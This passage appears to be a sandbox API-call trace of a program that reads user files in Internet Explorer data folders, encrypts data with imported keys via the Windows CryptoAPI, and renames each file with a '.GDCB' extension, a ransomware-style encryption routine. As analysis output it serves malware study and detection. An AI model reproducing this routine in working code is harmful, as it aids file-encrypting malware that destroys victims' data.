lpOverlapped=0x0 | out: lpBuffer=0x6390000*, lpNumberOfBytesRead=0x285d8f8*=0x3aa, lpOverlapped=0x0) returned 1 [0197.462] VirtualAlloc (lpAddress=0x0, dwSize=0x3b0, flAllocationType=0x3000, flProtect=0x4) returned 0x64a0000 [0197.468] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log.gdcb")) returned 1 [0197.473] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4430) returned 1 [0197.475] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.476] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.476] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0197.476] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.476] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0197.477] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.478] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0197.478] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0197.478] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4540) returned 1 [0197.480] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x508ca78) returned 1 [0197.480] CryptGetKeyParam (in: hKey=0x508ca78, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0197.480] CryptEncrypt (in: hKey=0x508ca78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6360000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x6360000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0197.480] GetLastError () returned 0x0 [0197.481] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0197.481] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0197.482] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x508caf8) returned 1 [0197.482] CryptGetKeyParam (in: hKey=0x508caf8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0197.482] CryptEncrypt (in: hKey=0x508caf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6370000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x6370000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0197.483] GetLastError () returned 0x0 [0197.483] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0197.483] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-userconfig.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0197.484] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6380000 [0197.486] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6390000 [0197.487] ReadFile (in: hFile=0x50c, lpBuffer=0x6390000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x6390000*, lpNumberOfBytesRead=0x285d8f8*=0x730, lpOverlapped=0x0) returned 1 [0197.496] VirtualAlloc (lpAddress=0x0, dwSize=0x730, flAllocationType=0x3000, flProtect=0x4) returned 0x64a0000 [0197.501] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-userconfig.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-userconfig.log.gdcb")) returned 1 [0197.509] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0197.511] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.512] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.512] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0197.512] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.512] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0197.513] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.514] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.514] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0197.514] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.515] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0197.517] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508cc38) returned 1 [0197.517] CryptGetKeyParam (in: hKey=0x508cc38, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.517] CryptEncrypt (in: hKey=0x508cc38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6360000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6360000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0197.517] GetLastError () returned 0x0 [0197.517] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.517] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0197.519] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089538) returned 1 [0197.519] CryptGetKeyParam (in: hKey=0x5089538, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.519] CryptEncrypt (in: hKey=0x5089538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6370000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6370000*, pdwDataLen=0x285d630*=0x100) returned 1 [0197.519] GetLastError () returned 0x0 [0197.519] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0197.519] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\IECompatData\\iecompatdata.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\iecompatdata\\iecompatdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0197.521] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6380000 [0197.522] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6390000 [0197.523] ReadFile (in: hFile=0x510, lpBuffer=0x6390000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6390000*, lpNumberOfBytesRead=0x285d670*=0xc10, lpOverlapped=0x0) returned 1 [0197.532] VirtualAlloc (lpAddress=0x0, dwSize=0xc10, flAllocationType=0x3000, flProtect=0x4) returned 0x64a0000 [0197.537] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\IECompatData\\iecompatdata.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\iecompatdata\\iecompatdata.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\IECompatData\\iecompatdata.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\iecompatdata\\iecompatdata.xml.gdcb")) returned 1 [0197.552] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0197.554] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.554] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.555] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0197.555] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0197.555] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0197.556] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.557] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0197.557] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.557] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0197.559] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089238) returned 1 [0197.559] CryptGetKeyParam (in: hKey=0x5089238, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.559] CryptEncrypt (in: hKey=0x5089238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6360000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6360000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0197.559] GetLastError () returned 0x0 [0197.559] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0197.559] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0197.561] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50895f8) returned 1 [0197.561] CryptGetKeyParam (in: hKey=0x50895f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.561] CryptEncrypt (in: hKey=0x50895f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6370000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6370000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0197.561] GetLastError () returned 0x0 [0197.561] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.561] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\imagestore\\sl72e5n\\imagestore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\imagestore\\sl72e5n\\imagestore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0197.563] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6380000 [0197.564] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6390000 [0197.565] ReadFile (in: hFile=0x514, lpBuffer=0x6390000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6390000*, lpNumberOfBytesRead=0x285d3e8*=0x1614, lpOverlapped=0x0) returned 1 [0197.593] VirtualAlloc (lpAddress=0x0, dwSize=0x1620, flAllocationType=0x3000, flProtect=0x4) returned 0x64a0000 [0197.598] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\imagestore\\sl72e5n\\imagestore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\imagestore\\sl72e5n\\imagestore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\imagestore\\sl72e5n\\imagestore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\imagestore\\sl72e5n\\imagestore.dat.gdcb")) returned 1 [0197.639] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0197.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.642] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.642] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0197.642] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.642] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0197.643] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.644] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.644] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0197.644] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.644] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0197.647] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50892b8) returned 1 [0197.647] CryptGetKeyParam (in: hKey=0x50892b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.647] CryptEncrypt (in: hKey=0x50892b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6360000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6360000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0197.647] GetLastError () returned 0x0 [0197.647] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0197.647] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0197.649] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089638) returned 1 [0197.649] CryptGetKeyParam (in: hKey=0x5089638, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.649] CryptEncrypt (in: hKey=0x5089638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6370000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6370000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0197.649] GetLastError () returned 0x0 [0197.649] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.649] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{63E26EB7-6816-11E7-9BD2-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{63e26eb7-6816-11e7-9bd2-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.649] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0197.651] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.652] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.652] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0197.652] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.652] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0197.653] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.654] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.654] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0197.654] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0197.654] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0197.656] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50892f8) returned 1 [0197.656] CryptGetKeyParam (in: hKey=0x50892f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.656] CryptEncrypt (in: hKey=0x50892f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6380000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6380000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0197.656] GetLastError () returned 0x0 [0197.656] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.656] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0197.658] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089338) returned 1 [0197.658] CryptGetKeyParam (in: hKey=0x5089338, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.658] CryptEncrypt (in: hKey=0x5089338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6390000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6390000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0197.659] GetLastError () returned 0x0 [0197.659] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.659] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{DAB3814F-C5D5-11E7-9BDA-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{dab3814f-c5d5-11e7-9bda-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.669] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0197.670] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.671] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.671] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0197.671] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0197.671] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0197.673] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.673] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.673] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0197.673] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.674] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0197.675] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089378) returned 1 [0197.676] CryptGetKeyParam (in: hKey=0x5089378, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.676] CryptEncrypt (in: hKey=0x5089378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0197.676] GetLastError () returned 0x0 [0197.676] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0197.676] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0197.678] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50897b8) returned 1 [0197.678] CryptGetKeyParam (in: hKey=0x50897b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.678] CryptEncrypt (in: hKey=0x50897b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0197.678] GetLastError () returned 0x0 [0197.678] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0197.678] CreateFileW (lpFileName="C:\\Documents and 